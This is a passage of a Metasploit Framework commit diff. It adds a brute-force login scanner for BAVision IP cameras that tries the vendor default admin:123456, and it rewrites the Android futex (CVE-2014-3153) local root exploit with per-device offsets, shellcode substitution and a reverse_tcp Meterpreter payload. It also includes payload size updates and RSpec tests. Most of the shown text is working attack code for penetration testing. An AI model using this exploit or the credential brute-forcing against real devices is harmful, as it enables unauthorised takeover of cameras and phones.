ha2 = algorithm.hexdigest("#{method}:#{path}")
|
||||
|
||||
request_digest = [ha1, parameters['nonce']]
|
||||
request_digest.push(('%08x' % @nonce_count), @cnonce, qop) if qop
|
||||
request_digest.push(('%08x' % nonce_count), cnonce, qop) if qop
|
||||
request_digest << ha2
|
||||
request_digest = request_digest.join ':'
|
||||
|
||||
@ -407,8 +413,8 @@ class Client
|
||||
"realm=\"#{parameters['realm']}\"",
|
||||
"nonce=\"#{parameters['nonce']}\"",
|
||||
"uri=\"#{path}\"",
|
||||
"cnonce=\"#{@cnonce}\"",
|
||||
"nc=#{'%08x' % @nonce_count}",
|
||||
"cnonce=\"#{cnonce}\"",
|
||||
"nc=#{'%08x' % nonce_count}",
|
||||
"algorithm=#{algstr}",
|
||||
"response=\"#{algorithm.hexdigest(request_digest)[0, 32]}\"",
|
||||
# The spec says the qop value shouldn't be enclosed in quotes, but
|
||||
|
@ -67,7 +67,7 @@ Gem::Specification.new do |spec|
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.2.6'
|
||||
# Needed for the next-generation POSIX Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.4'
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.6'
|
||||
# Needed by msfgui and other rpc components
|
||||
spec.add_runtime_dependency 'msgpack'
|
||||
# get list of network interfaces, like eth* from OS.
|
||||
|
137
modules/auxiliary/scanner/http/bavision_cam_login.rb
Normal file
137
modules/auxiliary/scanner/http/bavision_cam_login.rb
Normal file
@ -0,0 +1,137 @@
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'metasploit/framework/login_scanner/bavision_cameras'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'BAVision IP Camera Web Server Login',
|
||||
'Description' => %q{
|
||||
This module will attempt to authenticate to an IP camera created by BAVision via the
|
||||
web service. By default, the vendor ships a default credential admin:123456 to its
|
||||
cameras, and the web server does not enforce lockouts in case of a bruteforce attack.
|
||||
},
|
||||
'Author' => [ 'sinn3r' ],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('TRYDEFAULT', [false, 'Try the default credential admin:123456', false])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def scanner(ip)
|
||||
@scanner ||= lambda {
|
||||
cred_collection = Metasploit::Framework::CredentialCollection.new(
|
||||
blank_passwords: datastore['BLANK_PASSWORDS'],
|
||||
pass_file: datastore['PASS_FILE'],
|
||||
password: datastore['PASSWORD'],
|
||||
user_file: datastore['USER_FILE'],
|
||||
userpass_file: datastore['USERPASS_FILE'],
|
||||
username: datastore['USERNAME'],
|
||||
user_as_pass: datastore['USER_AS_PASS']
|
||||
)
|
||||
|
||||
if datastore['TRYDEFAULT']
|
||||
# Add the default username and password
|
||||
print_status("Default credential admin:123456 added to the credential queue for testing.")
|
||||
cred_collection.add_public('admin')
|
||||
cred_collection.add_private('123456')
|
||||
end
|
||||
|
||||
return Metasploit::Framework::LoginScanner::BavisionCameras.new(
|
||||
configure_http_login_scanner(
|
||||
host: ip,
|
||||
port: datastore['RPORT'],
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: 5,
|
||||
http_username: datastore['HttpUsername'],
|
||||
http_password: datastore['HttpPassword']
|
||||
))
|
||||
}.call
|
||||
end
|
||||
|
||||
|
||||
def report_good_cred(ip, port, result)
|
||||
service_data = {
|
||||
address: ip,
|
||||
port: port,
|
||||
service_name: 'http',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
module_fullname: self.fullname,
|
||||
origin_type: :service,
|
||||
private_data: result.credential.private,
|
||||
private_type: :password,
|
||||
username: result.credential.public,
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
last_attempted_at: DateTime.now,
|
||||
status: result.status,
|
||||
proof: result.proof
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
|
||||
def report_bad_cred(ip, rport, result)
|
||||
invalidate_login(
|
||||
address: ip,
|
||||
port: rport,
|
||||
protocol: 'tcp',
|
||||
public: result.credential.public,
|
||||
private: result.credential.private,
|
||||
realm_key: result.credential.realm_key,
|
||||
realm_value: result.credential.realm,
|
||||
status: result.status,
|
||||
proof: result.proof
|
||||
)
|
||||
end
|
||||
|
||||
def bruteforce(ip)
|
||||
scanner(ip).scan! do |result|
|
||||
case result.status
|
||||
when Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
print_brute(:level => :good, :ip => ip, :msg => "Success: '#{result.credential}'")
|
||||
report_good_cred(ip, rport, result)
|
||||
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
vprint_brute(:level => :verror, :ip => ip, :msg => result.proof)
|
||||
report_bad_cred(ip, rport, result)
|
||||
when Metasploit::Model::Login::Status::INCORRECT
|
||||
vprint_brute(:level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'")
|
||||
report_bad_cred(ip, rport, result)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
unless scanner(ip).check_setup
|
||||
print_brute(:level => :error, :ip => ip, :msg => 'Target is not BAVision IP camera web server.')
|
||||
return
|
||||
end
|
||||
|
||||
bruteforce(ip)
|
||||
end
|
||||
|
||||
end
|
@ -8,7 +8,7 @@ require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Remote::Udp
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
@ -42,8 +42,6 @@ class MetasploitModule < Msf::Auxiliary
|
||||
password = nil
|
||||
|
||||
begin
|
||||
# Create an unbound UDP socket if no CHOST is specified, otherwise
|
||||
# create a UDP socket bound to CHOST (in order to avail of pivoting)
|
||||
udp_sock = Rex::Socket::Udp.create( {
|
||||
'LocalHost' => datastore['CHOST'] || nil,
|
||||
'PeerHost' => ip,
|
||||
|
@ -32,52 +32,142 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
[ 'URL', 'http://tinyhack.com/2014/07/07/exploiting-the-futex-bug-and-uncovering-towelroot/' ],
|
||||
[ 'URL', 'http://blog.nativeflow.com/the-futex-vulnerability' ],
|
||||
],
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Platform' => 'android',
|
||||
'Targets' => [[ 'Automatic', { }]],
|
||||
'Arch' => ARCH_DALVIK,
|
||||
'DisclosureDate' => "May 03 2014",
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Platform' => [ "android", "linux" ],
|
||||
'Payload' => { 'Space' => 2048, },
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'PAYLOAD' => 'android/meterpreter/reverse_tcp',
|
||||
},
|
||||
{
|
||||
'WfsDelay' => 300,
|
||||
'PAYLOAD' => 'linux/armle/mettle/reverse_tcp',
|
||||
},
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => "May 03 2014"
|
||||
'Targets' => [
|
||||
# Automatic targetting via getprop ro.build.model
|
||||
['Automatic Targeting', { 'auto' => true }],
|
||||
|
||||
# This is the default setting, Nexus 4, 5, 7, etc
|
||||
['Default',
|
||||
{
|
||||
'new_samsung' => false,
|
||||
'iovstack' => 2,
|
||||
'offset' => 0,
|
||||
'force_remove' => false,
|
||||
}
|
||||
],
|
||||
|
||||
# Samsung devices, S4, S5, etc
|
||||
['New Samsung',
|
||||
{
|
||||
'new_samsung' => true,
|
||||
'iovstack' => 2,
|
||||
'offset' => 7380,
|
||||
'force_remove' => true,
|
||||
}
|
||||
],
|
||||
|
||||
# Older Samsung devices, e.g the Note 2
|
||||
['Old Samsung',
|
||||
{
|
||||
'new_samsung' => false,
|
||||
'iovstack' => 1,
|
||||
'offset' => 0,
|
||||
'force_remove' => true,
|
||||
}
|
||||
],
|
||||
|
||||
# Samsung Galaxy Grand, etc
|
||||
['Samsung Grand',
|
||||
{
|
||||
'new_samsung' => false,
|
||||
'iovstack' => 5,
|
||||
'offset' => 0,
|
||||
'force_remove' => true,
|
||||
}
|
||||
],
|
||||
]
|
||||
}
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new("WritableDir", [ true, "Temporary directory to write files", "/data/local/tmp/" ]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def put_local_file(remotefile)
|
||||
localfile = File.join( Msf::Config.data_directory, "exploits", "CVE-2014-3153.elf" )
|
||||
data = File.read(localfile, {:mode => 'rb'})
|
||||
write_file(remotefile, data)
|
||||
end
|
||||
|
||||
def exploit
|
||||
if target['auto']
|
||||
product = cmd_exec("getprop ro.build.product")
|
||||
fingerprint = cmd_exec("getprop ro.build.fingerprint")
|
||||
print_status("Found device: #{product}")
|
||||
print_status("Fingerprint: #{fingerprint}")
|
||||
|
||||
if [
|
||||
"mako",
|
||||
"m7",
|
||||
"hammerhead",
|
||||
"grouper",
|
||||
"Y530-U00",
|
||||
"G6-U10",
|
||||
"g2",
|
||||
"w7n",
|
||||
"D2303",
|
||||
"cancro",
|
||||
].include? product
|
||||
my_target = targets[1] # Default
|
||||
elsif [
|
||||
"klte",
|
||||
"jflte",
|
||||
].include? product
|
||||
my_target = targets[2] # New Samsung
|
||||
elsif [
|
||||
"t03g",
|
||||
"m0",
|
||||
].include? product
|
||||
my_target = targets[3] # Old Samsung
|
||||
elsif [
|
||||
"baffinlite",
|
||||
"Vodafone_785",
|
||||
].include? product
|
||||
my_target = targets[4] # Samsung Grand
|
||||
else
|
||||
print_status("Could not automatically target #{product}")
|
||||
my_target = targets[1] # Default
|
||||
end
|
||||
else
|
||||
my_target = target
|
||||
end
|
||||
|
||||
print_status("Using target: #{my_target.name}")
|
||||
|
||||
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2014-3153.so" )
|
||||
exploit_data = File.read(local_file, {:mode => 'rb'})
|
||||
|
||||
# Substitute the exploit shellcode with our own
|
||||
space = payload_space
|
||||
payload_encoded = payload.encoded
|
||||
exploit_data.gsub!("\x90" * 4 + "\x00" * (space - 4), payload_encoded + "\x90" * (payload_encoded.length - space))
|
||||
|
||||
# Apply the target config
|
||||
offsets = my_target.opts
|
||||
config_buf = [
|
||||
offsets['new_samsung'] ? -1 : 0,
|
||||
offsets['iovstack'].to_i,
|
||||
offsets['offset'].to_i,
|
||||
offsets['force_remove'] ? -1 : 0,
|
||||
].pack('I4')
|
||||
exploit_data.gsub!("c0nfig" + "\x00" * 10, config_buf)
|
||||
|
||||
workingdir = session.fs.dir.getwd
|
||||
exploitfile = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}"
|
||||
payloadfile = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}"
|
||||
remote_file = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}"
|
||||
write_file(remote_file, exploit_data)
|
||||
|
||||
put_local_file(exploitfile)
|
||||
cmd_exec('/system/bin/chmod 700 ' + exploitfile)
|
||||
write_file(payloadfile, payload.raw)
|
||||
|
||||
tmpdir = datastore['WritableDir']
|
||||
rootclassdir = "#{tmpdir}#{Rex::Text::rand_text_alpha_lower(5)}"
|
||||
rootpayload = "#{tmpdir}#{Rex::Text::rand_text_alpha_lower(5)}.jar"
|
||||
|
||||
rootcmd = " mkdir #{rootclassdir} && "
|
||||
rootcmd += "cd #{rootclassdir} && "
|
||||
rootcmd += "cp " + payloadfile + " #{rootpayload} && "
|
||||
rootcmd += "chmod 766 #{rootpayload} && "
|
||||
rootcmd += "dalvikvm -Xbootclasspath:/system/framework/core.jar -cp #{rootpayload} com.metasploit.stage.Payload"
|
||||
|
||||
process = session.sys.process.execute(exploitfile, rootcmd, {'Hidden' => true, 'Channelized' => true})
|
||||
process.channel.read
|
||||
print_status("Loading exploit library #{remote_file}")
|
||||
session.core.load_library(
|
||||
'LibraryFilePath' => local_file,
|
||||
'TargetFilePath' => remote_file,
|
||||
'UploadLibrary' => false,
|
||||
'Extension' => false,
|
||||
'SaveToDisk' => false
|
||||
)
|
||||
print_status("Loaded library #{remote_file}, deleting")
|
||||
session.fs.file.rm(remote_file)
|
||||
print_status("Waiting #{datastore['WfsDelay']} seconds for payload")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_aarch64_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 292344
|
||||
CachedSize = 301456
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_armbe_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 285000
|
||||
CachedSize = 295848
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_armle_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 284152
|
||||
CachedSize = 295848
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_mips64_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 504960
|
||||
CachedSize = 521872
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 484668
|
||||
CachedSize = 503004
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_mipsle_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 484732
|
||||
CachedSize = 503036
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_ppc_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 329724
|
||||
CachedSize = 395276
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_ppc64le_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 396160
|
||||
CachedSize = 396192
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_x64_mettle_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 289824
|
||||
CachedSize = 302144
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_x86_mettle_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 292828
|
||||
CachedSize = 305148
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_zarch_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 367864
|
||||
CachedSize = 380192
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -0,0 +1,55 @@
|
||||
require 'metasploit/framework/login_scanner/bavision_cameras'
|
||||
|
||||
RSpec.describe Metasploit::Framework::LoginScanner::BavisionCameras do
|
||||
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
|
||||
|
||||
subject do
|
||||
described_class.new
|
||||
end
|
||||
|
||||
describe '#digest_auth' do
|
||||
let(:username) { 'admin' }
|
||||
let(:password) { '123456' }
|
||||
let(:response) {
|
||||
{
|
||||
"www-authenticate" => "Digest realm=\"IPCamera Login\", nonce=\"918fee7e0b1126e4c2577911901a181b\", qop=\"auth\""
|
||||
}
|
||||
}
|
||||
|
||||
context 'when a credential is given' do
|
||||
it 'returns a string with username' do
|
||||
expect(subject.digest_auth(username, password, response)).to include('username=')
|
||||
end
|
||||
|
||||
it 'returns a string with realm' do
|
||||
expect(subject.digest_auth(username, password, response)).to include('realm=')
|
||||
end
|
||||
|
||||
it 'returns a string with qop' do
|
||||
expect(subject.digest_auth(username, password, response)).to include('qop=')
|
||||
end
|
||||
|
||||
it 'returns a string with uri' do
|
||||
expect(subject.digest_auth(username, password, response)).to include('uri=')
|
||||
end
|
||||
|
||||
it 'returns a string with nonce' do
|
||||
expect(subject.digest_auth(username, password, response)).to include('nonce=')
|
||||
end
|
||||
|
||||
it 'returns a string with nonce count' do
|
||||
expect(subject.digest_auth(username, password, response)).to include('nc=')
|
||||
end
|
||||
|
||||
it 'returns a string with cnonce' do
|
||||
expect(subject.digest_auth(username, password, response)).to include('cnonce=')
|
||||
end
|
||||
|
||||
it 'returns a string with response' do
|
||||
expect(subject.digest_auth(username, password, response)).to include('response=')
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
@ -48,7 +48,11 @@ RSpec.describe Msf::Exploit::AutoTarget do
|
||||
|
||||
describe '#auto_target?' do
|
||||
it 'should return true if the automatic target is selected' do
|
||||
host_addr = '192.168.1.5'
|
||||
host_obj = FactoryGirl.create(:mdm_host, address: host_addr )
|
||||
windows_exploit.datastore['TARGET'] = 0
|
||||
windows_exploit.datastore['WORKSPACE'] = host_obj.workspace.name
|
||||
windows_exploit.datastore['RHOST'] = host_addr
|
||||
expect(windows_exploit.auto_target?).to be true
|
||||
end
|
||||
|
||||
@ -69,12 +73,12 @@ RSpec.describe Msf::Exploit::AutoTarget do
|
||||
host_obj = FactoryGirl.create(:mdm_host, address: host_addr )
|
||||
windows_exploit.datastore['WORKSPACE'] = host_obj.workspace.name
|
||||
windows_exploit.datastore['RHOST'] = host_addr
|
||||
expect(windows_exploit.target_host).to eq host_obj
|
||||
expect(windows_exploit.auto_target_host).to eq host_obj
|
||||
end
|
||||
|
||||
it 'should return nil if there is not one' do
|
||||
windows_exploit.datastore['RHOST'] = '192.168.111.115'
|
||||
expect(windows_exploit.target_host).to be_nil
|
||||
expect(windows_exploit.auto_target_host).to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user